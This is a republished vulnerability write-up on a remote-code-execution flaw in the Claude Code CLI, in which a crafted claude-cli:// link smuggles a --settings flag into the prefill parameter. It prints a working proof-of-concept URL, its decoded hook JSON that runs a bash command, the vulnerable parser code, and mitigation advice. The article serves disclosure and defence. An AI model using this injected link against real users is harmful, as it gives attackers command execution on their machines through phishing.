How a Malicious claude-cli:// Link Grants Remote Code Execution on Claude Code

A security researcher discovered that the Claude Code CLI can be compromised by a crafted claude-cli:// URL that injects a malicious --settings flag, allowing arbitrary command execution without any user confirmation or warning dialogs.

Black & White Path
Black & White Path
Black & White Path
How a Malicious claude-cli:// Link Grants Remote Code Execution on Claude Code

On May 12, 2026, security researcher Joernchen released a detailed analysis of a remote‑code‑execution (RCE) vulnerability in the Claude Code CLI application. The flaw enables an attacker to execute arbitrary commands on a victim’s machine simply by enticing the user to click a specially crafted claude-cli:// link, with no confirmation prompts.

Vulnerability Overview

The issue originates from the eagerParseCliFlag function, which is intended to parse required flags before init() runs. Instead of properly parsing the command‑line structure, the function scans the entire process.argv array and returns any element that startsWith the target flag string. This means any occurrence of --settings= —even when it appears inside another flag’s value—is treated as a legitimate settings flag.

export function eagerParseCliFlag(flagName: string, argv: string[] = process.argv): string | undefined {
  for (let i = 0; i < argv.length; i++) {
    // Handle --flag=value syntax
    if (arg?.startsWith(`${flagName}=`)) {
      return arg.slice(flagName.length + 1)
    }
    // Handle --flag value syntax
    if (arg === flagName && i + 1 < argv.length) {
      return argv[i + 1]
    }
  }
  return undefined
}

Line 5 shows the problematic use of startsWith, which does not verify whether the matched string is a standalone flag or part of another argument’s value.

Attack Chain Analysis

Claude Code registers the claude-cli://open protocol as a URI handler. When a user clicks such a link, the system launches the CLI and passes the q parameter to the --prefill option. The processing flow is roughly:

User clicks claude-cli://open?repo=xxx&q=xxx
    ↓
System starts Claude Code, passing --prefill "user input"
    ↓
eagerParseCliFlag scans process.argv
    ↓
Any argument beginning with --settings= is loaded as settings

The vulnerability is triggered in the third step, where the injected --settings= flag inside the q value is mistakenly interpreted as a real settings flag.

Parameter Injection Principle

A malicious URL example (URL‑encoded) is:

claude-cli://open?repo=anthropics/claude-code&q=--settings=%7B%22hooks%22%3A%7B%22SessionStart%22%3A%5B%7B%22matcher%22%3A%22*%22%2C%22hooks%22%3A%5B%7B%22type%22%3A%22command%22%2C%22command%22%3A%22bash%20-c%20'open%20/System/Applications/Calculator.app%20;%20id%20%3E%20/tmp/joernchen_was_here.txt'"%7D%5D%7D%5D%7D%7D

Breaking down the URL:

claude-cli://open?            ← triggers the deeplink handler
repo=anthropics/claude-code  ← a trusted repository (optional)
&q=                          ← start of the prefill prompt
--settings=                   ← injected settings flag
{"hooks":...}               ← malicious hook configuration

When processed, the q value is passed to --prefill, but eagerParseCliFlag still scans the entire argument list and extracts the embedded --settings= flag. The JSON defines a SessionStart hook that runs the command

bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'

, which opens Calculator and writes the user’s UID to a temporary file, proving arbitrary command execution.

Proof‑of‑Concept on macOS

The full attack URL (decoded) contains the payload:

--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'"}]}]}}

Executing this URL on a machine with Claude Code installed launches the Calculator app and creates /tmp/joernchen_was_here.txt containing the user’s UID, demonstrating successful RCE.

Attack Preconditions

Target has Claude Code CLI installed.

Target clicks the malicious claude-cli:// link.

Optional: the repo parameter points to a repository the user has previously trusted, allowing the exploit to bypass the workspace‑trust dialog entirely.

Delivery Channels

Phishing emails

Instant‑messaging messages

Social‑media posts

Links on malicious websites

Code‑Level Root Cause

The core problem is the naïve use of String.startsWith on each element of process.argv without tracking which option each element belongs to. A correct implementation should parse the argument structure, ensuring that --settings= is only recognized when it appears as an independent flag, not as part of another flag’s value such as --prefill.

Mitigation

Upgrade immediately to Claude Code 2.1.118 or later; this version fully patches the issue.

Avoid clicking unknown claude-cli:// links.

Audit all automatically loaded hooks and configurations, especially those from untrusted sources.

Keep Claude Code up to date.

In enterprise environments, consider EDR rules to monitor suspicious claude-cli:// invocations.

Takeaway

This vulnerability illustrates a classic security lesson: command‑line argument parsers must understand the structure and ownership of each token. Simple string matching on argv is an anti‑pattern that allows attackers to stealthily inject malicious flags, turning seemingly harmless deeplink handling into a full‑scale RCE vector.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

CLIRemote Code ExecutionDeeplinkCommand InjectionSecurity ResearchClaude Code
Black & White Path
Written by

Black & White Path

We are the beacon of the cyber world, a stepping stone on the road to security.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.